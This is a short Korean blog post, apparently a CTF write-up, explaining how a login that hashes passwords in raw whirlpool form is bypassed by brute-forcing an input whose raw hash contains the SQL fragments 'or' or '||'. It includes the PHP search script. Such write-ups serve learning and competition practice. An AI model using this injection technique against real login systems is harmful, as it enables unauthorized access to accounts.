비밀번호 해쉬를 하는데 세번째 인자가 true이다.
raw 형식으로 hash를 한다는것을 알수있다.
예전에 wargame에서 풀어본 경험이 있는데.. 아마 webhacking.kr에 있었던 문제 같았다.
경험이 있으므로.. 쉽게 풀었는데
예전엔 md5로 해쉬를 했는데, 이번엔 좀 다른방법으로 해쉬를 한다.
그러므로 새로 php를 짰고, 'or' 이나 '||' 이 들어있는 해쉬를 하나씩 돌려서 찾아봤고,
결과를 하나씩 넣어보다 보니 로그인 성공
(숫자 몇이 성공이었는지는 정확히 기억이 안난다)
비밀번호를 찾는 코드
$i의 값이 비밀번호다.
$i=0; echo "start\n"; for ($i=119335433; $i<1000000000; $i++) { $bh = $i; //echo $bh." "; $hashed = hash("whirlpool",$bh,true); if (eregi("'or'",$hashed) || eregi("'||'",$hashed)) { echo "\n"; echo "Answer: "; echo $bh; echo "\n"; echo $hashed; break; } } echo "Done\n".$i;
'Computer Security > CTF' 카테고리의 다른 글
[Codegate 2013] Binary 100 simple write up (0) | 2013.03.04 |
---|---|
[Codegate 2013] Web 300 simple write up (4) | 2013.03.04 |
[PHDays 2012] Binary 100 Write up (0) | 2012.12.21 |
[PHDays 2012] Misc 200 Write-up (0) | 2012.12.21 |
[Holyshield 2012] Packet 1번 문제풀이 (0) | 2012.11.29 |